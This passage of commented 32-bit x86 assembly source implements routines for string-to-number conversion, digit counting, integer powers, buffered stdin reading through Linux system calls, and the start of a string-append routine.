[esp + (8 + 44)] ;get decpt_int xor ebx, ebx ;flag = 0 (unsigned) mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call find_int_digits add esp, 8 ;restore 8 bytes ;eax = find_int_digits() mov ebx, [esp + 52] ;ebx = heading_zeroes add eax, ebx mov [esp + 48], eax ;decs = eax sub esp, 8 ;reserve 8 bytes mov eax, 10 ;get base = 10 mov ebx, [esp + (8 + 48)] ;get power = decs mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call pow_int add esp, 8 ;restore 8 bytes mov [esp + 48], eax ;decs = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 028: push decs to FPU; ; 029: push decpt_int to FPU; ; 030: FDIV ST1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fild dword [esp + 48] ;push decs to fpu fild dword [esp + 44] ;push decpt_int to fpu fdiv st1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Merge intpt_int and decpt_int into ; IEEE double precision format. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 031: push intpt_int; ; 032: FADD ST1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fild dword [esp + 24] ;push intpt_int to fpu fadd st1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 033: if is_negative == 0, goto .is_positive; ; .is_negative: ; 034: FCHS ; .is_positive: ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 56] ;eax = is_negative cmp eax, 0 je .is_positive .is_negative: fchs ;fpu change sign .is_positive: .return: .clean_stackframe: sub ebp, 8 ;-8 offset to ebp mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_string2int: ;parameter 1 = addr_instring:32bit ;parameter 2 = instrlen:32bit ;returns = the integer value .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to ebp, to get arguments mov eax, [ebp ] ;get addr_instring mov ebx, [ebp + 4] ;get instrlen .setup_localvariables: sub esp, 28 ;reserve 28 bytes mov [esp ], eax ;addr_instring mov [esp + 4], ebx ;instrlen mov dword [esp + 8], 0 ;decimal_num[0] mov dword [esp + 12], 0 ;decimal_num[1] mov dword [esp + 16], 0 ;decimal_digits mov dword [esp + 20], 0 ;hexadecimal_num[0] mov dword [esp + 24], 0 ;hexadecimal_num[1] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: cvt_string2dec( addr_instring, ; instrlen, ; @decimal_num, ; @decimal_digits ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov eax, [esp + 16 ] ;get addr_instring mov ebx, [esp + (16 + 4)] ;get instrlen lea ecx, [esp + (16 + 8)] ;get @decimal_num lea edx, [esp + (16 + 16)] ;get @decimal_digits mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 mov [esp + 8], ecx ;parameter 3 mov [esp + 12], edx ;parameter 4 call cvt_string2dec add esp, 16 ;restore 16 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: hexadecimal_num[0] = cvt_dec2hex( decimal_num[0] ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 4 ;reserve 4 bytes mov eax, [esp + (4 + 8)] ;get decimal_num[0] mov [esp ], eax ;parameter 1 call cvt_dec2hex add esp, 4 ;restore 4 bytes mov [esp + 20], eax ;hexadecimal_num[0] = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: if decimal_digits <= 8, then goto .digits_le_8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = decimal_digits cmp eax, 8 jbe .digits_le_8 .digits_gt_8: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: hexadecimal_num[1] = cvt_dec2hex( decimal_num[1] ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 4 ;reserve 4 bytes mov eax, [esp + (4 + 12)] ;get decimal_num[1] mov [esp ], eax ;parameter 1 call cvt_dec2hex add esp, 4 ;restore 4 bytes mov [esp + 24], eax ;hexadecimal_num[1] = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: hexadecimal_num[0] = (hexadecimal_num[1] * ; pow_int(10, decimal_digits-2)) + ; hexadecimal_num[0]; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes mov eax, 10 ;parameter1 = 10 mov ebx, [esp + (8 + 16)] ;get (decimal_digits - 2) sub ebx, 2 mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call pow_int add esp, 8 ;restore 8 bytes ;NOTE: eax = result pow_int() mov ebx, [esp + 24] ;ebx = hexadecimal_num[1] xor edx, edx mul ebx ;eax *= ebx mov ebx, [esp + 20] ;ebx = hexadecimal_num[0] add eax, ebx ;eax += ebx mov [esp + 20], eax ;hexadecimal_num[0] = eax .digits_le_8: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: EAX = hexadecimal_num[0]; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = hexadecimal_num[0] .return: .clean_stackframe: sub ebp, 8 ;-8 offset to ebp mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### read4096b_stdin: ;parameter 1 = addr_readbuffer:32bit ;parameter 2 = addr_cur_rb_ptr:32bit ;parameter 3 = addr_cur_byte:32bit ;parameter 4 = addr_outdata:32bit ;parameter 5 = addr_outdata_len:32bit ;parameter 6 = flag:32bit ;returns = --- .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to ebp, to get arguments mov eax, [ebp ] ;get addr_readbuffer mov ebx, [ebp + 4] ;get addr_cur_rb_ptr mov ecx, [ebp + 8] ;get addr_cur_byte mov edx, [ebp + 12] ;get addr_outdata mov esi, [ebp + 16] ;get addr_outdata_len mov edi, [ebp + 20] ;get flag .setup_localvariables: sub esp, 40 ;reserve 40 bytes mov [esp ], eax ;addr_readbuffer mov [esp + 4], ebx ;addr_cur_rb_ptr mov [esp + 8], ecx ;addr_cur_byte mov [esp + 12], edx ;addr_outdata mov [esp + 16], esi ;addr_outdata_len mov [esp + 20], edi ;flag mov dword [esp + 24], 0 ;term1 mov dword [esp + 28], 0 ;term2 mov dword [esp + 32], 0 ;byte_pos mov dword [esp + 36], 0 ;outdata_len ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: if flag == 1, then goto .flag_1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = flag cmp eax, 1 je .flag_1 .flag_0: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: term1 = 0x0a; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 0x0a ;eax = newline character mov [esp + 24], eax ;term1 = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: term2 = 0x20; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 0x20 ;eax = space character mov [esp + 28], eax ;term2 = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: goto .endflag_checks; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .endflag_checks .flag_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: term1 = 0x0a; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 0x0a ;eax = newline character mov [esp + 24], eax ;term1 = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: term2 = 0x0a; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 0x0a ;eax = newline character mov [esp + 28], eax ;term2 = eax .endflag_checks: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: byte_pos = addr_cur_byte^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 8] ;ebx = addr_cur_byte mov eax, [ebx] mov [esp + 32], eax ;byte_pos = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: EDI = addr_outdata; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov edi, [esp + 12] ;edi = addr_outdata ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: if addr_cur_rb_ptr^ == 0, goto .dont_init_ESI ; .init_ESI: ; 010: ESI = addr_cur_rb_ptr^; ; ... ; .dont_init_ESI: ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 4] ;ebx = addr_cur_rb_ptr mov eax, [ebx] cmp eax, 0 je .dont_init_ESI .init_ESI: mov esi, eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: LODSB; ; 012: -- esi; ; 013: if al == 0, then goto .rb_empty; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - lodsb sub esi, 1 cmp al, 0 je .rb_empty .dont_init_ESI: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 014: if byte_pos == 0, then goto .rb_empty; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = byte_pos cmp eax, 0 je .rb_empty ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 015: if byte_pos != 4096, then goto .rb_not_empty; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = byte_pos cmp eax, 4096 jne .rb_not_empty .rb_empty: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: systemcall read( stdin, addr_readbuffer, 4096 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 0x03 ;systemcall read xor ebx, ebx ;fd = stdin mov ecx, [esp] ;dst = addr_readbuffer mov edx, 4096 ;len = 4096 int 0x80 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 017: addr_cur_byte^ = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 8] ;ebx = addr_cur_byte xor eax, eax ;eax = 0 mov [ebx], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: addr_cur_rb_ptr^ = addr_readbuffer; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = addr_readbuffer mov ebx, [esp + 4] ;ebx = addr_cur_rb_ptr mov [ebx], eax ;ebx^ = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: ESI = addr_readbuffer; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov esi, [esp] ;esi = addr_readbuffer cld .rb_not_empty: .loop_getdata: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 020: LODSB; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - lodsb ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 021: ++ byte_pos; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 32] ;ebx = byte_pos add ebx, 1 mov [esp + 32], ebx ;byte_pos = ebx ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 022: if AL == term1, then goto .endloop_getdata; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 24] ;ebx = term1 cmp al, bl je .endloop_getdata ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 023: if AL == term2, then goto .endloop_getdata; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 28] ;ebx = term2 cmp al, bl je .endloop_getdata ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: EDI^ = AL; ; 025: ++ EDI; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov [edi], al add edi, 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 026: ++ outdata_len; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = outdata_len add eax, 1 mov [esp + 36], eax ;outdata_len = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 027: if byte_pos == 4096, then goto .rb_empty; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = byte_pos cmp eax, 4096 je .rb_empty ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 028: goto .loop_getdata; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .loop_getdata .endloop_getdata: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 029: addr_cur_rb_ptr^ = ESI; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 4] ;ebx = addr_cur_rb_ptr mov [ebx], esi ;ebx^ = esi ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 030: addr_cur_byte^ = byte_pos; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = byte_pos mov ebx, [esp + 8] ;ebx = addr_cur_byte mov [ebx], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 031: addr_outdata_len^ = outdata_len; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = outdata_len mov ebx, [esp + 16] ;ebx = addr_outdata_len mov [ebx], eax .return: .clean_stackframe: sub ebp, 8 ;-8 offset to ebp mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### find_int_digits: ;parameter 1 = integer_x:32bit ;parameter 2 = flag:32bit ;returns = the number of digits from integer_x (EAX) .setup_stackframe: sub esp, 4 ;reserve 4 bytes of stack mov [esp], ebp ;save ebp to stack memory mov ebp, esp ;save current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offsets ebp, to get arguments mov eax, [ebp ] ;get integer_x mov ebx, [ebp + 4] ;get flag .set_localvariables: sub esp, 16 ;reserve 16 bytes mov [esp ], eax ;integer_x mov [esp + 4], ebx ;flag mov dword [esp + 8], 0 ;num_of_digits ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Is integer_x positive or negative? ; ; If flag = 1, that means the integer_x is signed int. ; So, we have to check its sign value to determine whether ; it is a positive or negative number. ; ; If the integer_x is negative number, we have to find the ; value from its two's complement form. ; ; If the integer_x is positive number, no need to find the ; value from its two's complement form. ; ; Otherwise if the flag = 0, skip these instructions. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check whether integer_x is signed or unsigned int. ; ; 001: if flag != 1, then ; goto .integer_x_is_unsigned; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = flag cmp eax, 1 jne .integer_x_is_unsigned .integer_x_is_signed: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If integer_x is signed, check its sign value ; ; 002: if (integer_x & 0x80000000) == 0, then ; goto .integer_x_is_positive; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp] ;eax = integer_x and eax, 0x80000000 cmp eax, 0 je .integer_x_is_positive .integer_x_is_negative: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Looks like integer_x is negative, so invert all bits. ; ; 003: integer_x = !integer_x; ; 004: integer_x += 1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp] ;eax = integer_x not eax mov [esp], eax ;integer_x = !integer_x mov eax, [esp] ;eax = integer_x add eax, 1 mov [esp], eax ;integer_x = integer_x + 1 .integer_x_is_positive: .integer_x_is_unsigned: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find the number of digits of integer_x. ; ; Note: the conditional jump cannot jump more than 128 bytes. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp] ;eax = integer_x ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: if integer_x < 10, then ; goto .jumper_10; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 10 jb .jumper_10 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: if integer_x < 100, then ; goto .jumper_100; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 100 jb .jumper_100 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: if integer_x < 1000, then ; goto .jumper_1000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 1000 jb .jumper_1000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: if integer_x < 10000, then ; goto .jumper_10000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 10000 jb .jumper_10000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: if integer_x < 100000, then ; goto .jumper_100000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 100000 jb .jumper_100000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 010: if integer_x < 1000000, then ; goto .jumper_1000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 1000000 jb .jumper_1000000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: if integer_x < 10000000, then ; goto .jumper_10000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 10000000 jb .jumper_10000000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 012: if integer_x < 100000000, then ; goto .jumper_100000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 100000000 jb .jumper_100000000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 013: if integer_x < 1000000000, then ; goto .jumper_1000000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - cmp eax, 1000000000 jb .jumper_1000000000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 014: if integer_x >= 1000000000, then ; goto .more_equal_1000000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .more_equal_1000000000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Jumpers, because cond. jumps can only jump up to 128 bytes. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .jumper_10: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 015: goto .less_than_10; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_10 .jumper_100: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: goto .less_than_100; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_100 .jumper_1000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 017: goto .less_than_1000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_1000 .jumper_10000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: goto .less_than_10000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_10000 .jumper_100000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: goto .less_than_100000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_100000 .jumper_1000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 020: goto .less_than_1000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_1000000 .jumper_10000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 021: goto .less_than_10000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_10000000 .jumper_100000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 022: goto .less_than_100000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_100000000 .jumper_1000000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 023: goto .less_than_1000000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .less_than_1000000000 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Assigns num_of_digits to a value based from jumpers ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .less_than_10: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: num_of_digits = 1; ; 025: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 1 ;num_of_digits = 1 jmp .endcondition .less_than_100: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 026: num_of_digits = 2; ; 027: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 2 ;num_of_digits = 2 jmp .endcondition .less_than_1000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 028: num_of_digits = 3; ; 029: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 3 ;num_of_digits = 3 jmp .endcondition .less_than_10000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 030: num_of_digits = 4; ; 031: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 4 ;num_of_digits = 4 jmp .endcondition .less_than_100000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 032: num_of_digits = 5 ; 033: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 5 ;num_of_digits = 5 jmp .endcondition .less_than_1000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 034: num_of_digits = 6; ; 035: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 6 ;num_of_digits = 6 jmp .endcondition .less_than_10000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 036: num_of_digits = 7; ; 037: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 7 ;num_of_digits = 7 jmp .endcondition .less_than_100000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 038: num_of_digits = 8; ; 039: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 8 ;num_of_digits = 8 jmp .endcondition .less_than_1000000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 040: num_of_digits = 9; ; 041: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 9 ;num_of_digits = 9 jmp .endcondition .more_equal_1000000000: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 042: num_of_digits = 10; ; 043: goto .endcondition; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov dword [esp + 8], 10 ;num_of_digits = 10 .endcondition: .return: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 044: return EAX = num_of_digits; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = num_of_digits .clean_stackframe: sub ebp, 8 ;-8 bytes offsets to ebp mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes of stack ret ;##################################################################### pow_int: ;parameter 1: x:32bit ;parameter 2: y:32bit ;returns = result (EAX) .setup_stackframe: sub esp, 4 ;reserve 4 bytes mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to get arguments mov eax, [ebp ] ;get x the base value mov ebx, [ebp + 4] ;get y the power value .set_local_variables: sub esp, 16 ;reserve 16 bytes mov [esp ], eax ;x mov [esp + 4], ebx ;y mov [esp + 8], ebx ;i = y mov dword [esp + 12], 1 ;result = 1 .loop_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: result = result * x; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 12] ;eax = result mov ebx, [esp ] ;ebx = x xor edx, edx mul ebx ;eax *= ebx mov [esp + 12], eax ;result = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: --i; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = i sub eax, 1 mov [esp + 8], eax ;i = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: if i != 0, then ; goto .loop_1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = i cmp eax, 0 jne .loop_1 .endloop_1: .return: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: return result; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 12] ;eax = result .clean_stackframe: sub ebp, 8 ;-8 offset due to arguments mov esp, ebp ;restore stack ptr to initial val mov ebp, [esp] ;restore ebp to initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### string_append: ;parameter 1 = addr_dst_str:32bit ;parameter 2 = addr_dst_strlen:32bit ;parameter 3 = addr_src_str:32bit ;parameter 4 = src_strlen:32bit ;returns = --- .setup_stackframe: sub esp, 4 ;reserve 4 bytes mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack pointer to ebp .get_arguments: add ebp, 8 ;+8 offset to get arguments mov eax, [ebp ] ;get arg1: addr_dst_str mov ebx, [ebp + 4] ;get arg2: addr_dst_strlen mov ecx, [ebp + 8] ;get arg3: addr_src_str mov edx, [ebp + 12] ;get arg4: src_strlen .set_local_variables: sub esp, 56 ;reserve 56 bytes mov [esp ], eax ;addr_dst_str mov [esp + 4], ebx ;addr_dst_strlen mov [esp + 8], ecx ;addr_src_str mov [esp + 12], edx ;src_strlen mov dword [esp + 16], 0 ;dst_strlen mov dword [esp + 20], 0 ;current_dst_block mov dword [esp + 24], 0 ;block_byte_offset mov dword [esp + 28], 0 ;dst_ptr mov dword [esp + 32], 0 ;src_ptr mov dword [esp + 36], 0 ;src_buffer mov dword [esp + 40], 0 ;dst_buffer mov dword [esp + 44], 0 ;dst_buffer_bitpos mov dword [esp + 48], 0 ;i mov dword [esp + 52], 0 ;ascii_char ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initialize source pointer and fetch data from source ; string memory block 0. ; ; We have to initialize the source pointer, so that later we ; can retrieve data in the memory block of the source string. ; Lets say the source string is "! I am good", the source ; pointer will point to the first character which is '!'. ; See the diagram below: ; ; src_ptr points here ; V ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; | ! | | I | | a | m | | g | o | o | d |0x0| ; |---------------|---------------|---------------| ; | mem block 0 | mem block 1 | mem block 2 | ; |---------------|---------------|---------------| ; ; Diagram 1: Memory view of the source string ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Point src_ptr to address source string. ; ; 001: src_ptr = addr_src_str; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = addr_src_str mov [esp + 32], eax ;src_ptr = addr_src_str ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Fetch 32 bits of data from source string memory block 0 ; ; 002: src_buffer = src_ptr^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 32] ;ebx = src_ptr mov eax, [ebx] ;eax = src_ptr^ mov [esp + 36], eax ;src_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 